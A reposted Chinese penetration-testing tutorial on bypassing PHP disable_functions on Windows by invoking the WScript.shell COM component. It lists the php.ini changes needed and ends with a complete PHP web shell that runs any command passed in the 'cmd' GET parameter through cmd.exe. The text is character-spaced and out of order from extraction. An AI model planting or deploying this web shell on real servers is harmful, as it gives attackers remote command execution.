搜索

[356] 2020-11-11_COM组件绕过disable_functions

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2020-11-11_COM组件绕过disable_functions C O M 组 件 绕 过 d i s a b l e _ f u n c t i o n s 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 0 - 1 1 - 1 1 收 录 于 话 题   # 渗 透 测 试   , 1 4 个 介 绍 介 绍 c o m 组 件 绕 过 适 用 于 w i n d o w s 系 统 ， 组 件 可 理 解 为 提 供 某 个 功 能 的 程 序 ， 主 要 是 p h p 代 码 调 用 w i n d o w s 下 的 W S c r i p t . s h e l l 组 件 来 操 作 的 。 w s c r i p t . s h e l l W S c r i p t . s h e l l 组 件 可 用 来 操 作 c m d 程 序 ， 可 调 用 c m d 程 序 来 执 行 相 关 命 令 。 在 p h p 中 我 们 可 以 新 建 组 件 去 调 用 w s c r i p t . s h e l l ， 然 后 来 操 作 c m d ， 从 而 来 执 行 相 关 命 令 。 条 件 条 件 p h p 默 认 是 不 能 调 用 外 部 组 件 的 ， 这 个 需 要 手 动 开 启 ， 如 果 目 标 机 开 启 了 相 关 配 置 ， 这 种 绕 过 方 法 才 能 利 用 。 首 先 在 p h p . i n i 中 添 加 扩 展 : 然 后 将 c o m . a l l o w _ d c o m   =   t r u e 前 面 的 分 号 去 掉 ， 取 消 注 释 ： e x t e n s i o n = p h p _ c o m _ d o t n e t . d l l c o m . a l l o w _ d c o m   =   t r u e
重 启 a p a c h e 即 可 。 测 试 测 试 测 试 代 码 如 下 ： 总 结 总 结 当 程 序 开 发 过 程 中 ， 如 果 需 要 用 到 一 些 系 统 上 的 功 能 ， 需 要 和 系 统 交 互 ， 那 么 就 有 可 能 是 开 启 组 件 支 持 的 ， 这 时 如 果 有 d i s a b l e _ f u n c t i o n s 限 制 ， 则 可 以 尝 试 使 用 c o m 组 件 绕 过 。 < ? p h p         h e a d e r ( " C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = g b 2 3 1 2 " ) ;         $ c m d = $ _ G E T [ ' c m d ' ] ;         $ c o m   =   n e w   C O M ( ' W S c r i p t . s h e l l ' ) ;               $ e x e c   =   $ c o m - > e x e c ( ' c m d . e x e   / c   ' . $ c m d ) ;           $ s t d o u t   =   $ e x e c - > S t d O u t ( ) ;         $ s t r o u t p u t   =   $ s t d o u t - > R e a d A l l ( ) ;         e c h o   " < p r e > " ;         e c h o   $ s t r o u t p u t ;         e c h o   " < / p r e > " ; ? >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理